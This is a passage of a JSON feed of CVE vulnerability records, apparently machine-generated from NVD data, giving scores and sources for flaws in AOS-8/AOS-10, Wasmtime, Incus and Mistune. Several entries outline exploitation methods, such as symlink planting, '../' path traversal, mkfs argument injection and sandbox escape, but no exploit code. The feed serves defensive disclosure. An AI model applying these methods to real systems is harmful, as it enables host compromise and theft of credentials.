affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:57.070Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79849","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00704,"percentile":0.5304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79849","type":"primary","publishedAt":"2026-10-22T19:17:57.070Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79848","cveId":"CVE-2026-79848","aliases":[],"kind":"vulnerability","title":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance.","summary":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"Vulnerabilities in the affected interface of AOS-8 could allow an unauthenticated remote attacker to conduct SQL injection attacks against an affected AOS-8 instance. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:56.850Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79848","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00704,"percentile":0.5304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79848&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79848","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79848","type":"primary","publishedAt":"2026-10-22T19:17:56.850Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79848&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79848, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79847","cveId":"CVE-2026-79847","aliases":[],"kind":"vulnerability","title":"Buffer overflow vulnerabilities in the affected interface of AOS-10 could lead to unauthenticated remote code execution by sending specially crafted packets to the affected...","summary":"Buffer overflow vulnerabilities in the affected interface of AOS-10 could lead to unauthenticated remote code execution by sending specially crafted packets to the affected interface. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.","detail":"Buffer overflow vulnerabilities in the affected interface of AOS-10 could lead to unauthenticated remote code execution by sending specially crafted packets to the affected interface. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:56.633Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79847","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00818,"percentile":0.56884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79847","type":"primary","publishedAt":"2026-10-22T19:17:56.633Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79846","cveId":"CVE-2026-79846","aliases":[],"kind":"vulnerability","title":"Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if...","summary":"Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:56.490Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79846","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.0137,"percentile":0.7171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79846&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79846","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79846","type":"primary","publishedAt":"2026-10-22T19:17:56.490Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79846&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79846, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79844","cveId":"CVE-2026-79844","aliases":[],"kind":"vulnerability","title":"Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if...","summary":"Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","detail":"Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:56.367Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79844","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00689,"percentile":0.52469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79844","type":"primary","publishedAt":"2026-10-22T19:17:56.367Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115384","cveId":"CVE-2026-115384","aliases":[],"kind":"vulnerability","title":"Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write ~16KB to the native stack via...","summary":"Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write ~16KB to the native stack via unvalidated async callback result types. Attackers can supply components with mistyped component-model-async callback functions to overwrite return addresses, crashing the host or escaping the sandbox.","detail":"Wasmtime 39.0.0 before 48.0.4 and 49.0.0 before 49.0.2 contains a stack buffer overflow vulnerability that allows malicious guests to write ~16KB to the native stack via unvalidated async callback result types. Attackers can supply components with mistyped component-model-async callback functions to overwrite return addresses, crashing the host or escaping the sandbox.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:45.543Z","updatedAt":"2026-10-22T19:17:45.653Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115384","asOf":"2026-10-22T19:17:45.653Z"},"epss":{"probability":0.00312,"percentile":0.23825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115384&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115384","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115384","type":"primary","publishedAt":"2026-10-22T19:17:45.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115384&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115384, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115377","cveId":"CVE-2026-115377","aliases":[],"kind":"vulnerability","title":"Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability that allows malicious migration sources to write host files by...","summary":"Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability that allows malicious migration sources to write host files by planting symlinks in transferred volumes. Attackers can craft rsync or btrfs receive streams with a symlink such as rootfs pointing to the host root, writing files as root for full host compromise.","detail":"Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability that allows malicious migration sources to write host files by planting symlinks in transferred volumes. Attackers can craft rsync or btrfs receive streams with a symlink such as rootfs pointing to the host root, writing files as root for full host compromise.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:44.460Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115377","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00405,"percentile":0.34496,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115377&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115377","type":"primary","publishedAt":"2026-10-22T19:17:44.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115377&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115377, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115375","cveId":"CVE-2026-115375","aliases":[],"kind":"vulnerability","title":"Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a path traversal vulnerability that allows clients able to create instances to write files on the host.","summary":"Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a path traversal vulnerability that allows clients able to create instances to write files on the host. The flaw stems from unvalidated dependent custom volume names in instance backup index.yaml files. Attackers can import a crafted instance backup with ../ sequences in dependent volume names to create root-owned directories with controlled content, leading to full host compromise.","detail":"Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a path traversal vulnerability that allows clients able to create instances to write files on the host. The flaw stems from unvalidated dependent custom volume names in instance backup index.yaml files. Attackers can import a crafted instance backup with ../ sequences in dependent volume names to create root-owned directories with controlled content, leading to full host compromise.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:44.133Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115375","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00405,"percentile":0.34496,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115375&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115375","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115375","type":"primary","publishedAt":"2026-10-22T19:17:44.133Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115375&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115375, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115372","cveId":"CVE-2026-115372","aliases":[],"kind":"vulnerability","title":"Incus from 7.3.0 before 7.5.0 contains a project restriction bypass that allows restricted project users to set block.create_options through volume update, copy, and move...","summary":"Incus from 7.3.0 before 7.5.0 contains a project restriction bypass that allows restricted project users to set block.create_options through volume update, copy, and move operations. Attackers can set the option on a custom volume and trigger a copy or move onto a formatting pool to inject arguments into mkfs executed as root.","detail":"Incus from 7.3.0 before 7.5.0 contains a project restriction bypass that allows restricted project users to set block.create_options through volume update, copy, and move operations. Attackers can set the option on a custom volume and trigger a copy or move onto a formatting pool to inject arguments into mkfs executed as root.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:43.670Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115372","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00362,"percentile":0.29713,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115372&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115372","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115372","type":"primary","publishedAt":"2026-10-22T19:17:43.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115372&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115372, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115353","cveId":"CVE-2026-115353","aliases":[],"kind":"vulnerability","title":"Mistune before 3.3.0 contains a path traversal vulnerability in the RST include directive that allows attackers to read arbitrary files by supplying relative or absolute paths.","summary":"Mistune before 3.3.0 contains a path traversal vulnerability in the RST include directive that allows attackers to read arbitrary files by supplying relative or absolute paths. Attackers can submit markdown containing include directives referencing ../ sequences or absolute paths to embed sensitive files like credentials or environment data in rendered HTML.","detail":"Mistune before 3.3.0 contains a path traversal vulnerability in the RST include directive that allows attackers to read arbitrary files by supplying relative or absolute paths. Attackers can submit markdown containing include directives referencing ../ sequences or absolute paths to embed sensitive files like credentials or environment data in rendered HTML.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:41.227Z","updatedAt":"2026-10-22T19:17:41.337Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115353","asOf":"2026-10-22T19:17:41.337Z"},"epss":{"probability":0.00388,"percentile":0.32615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115353","type":"primary","publishedAt":"2026-10-22T19:17:41.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE 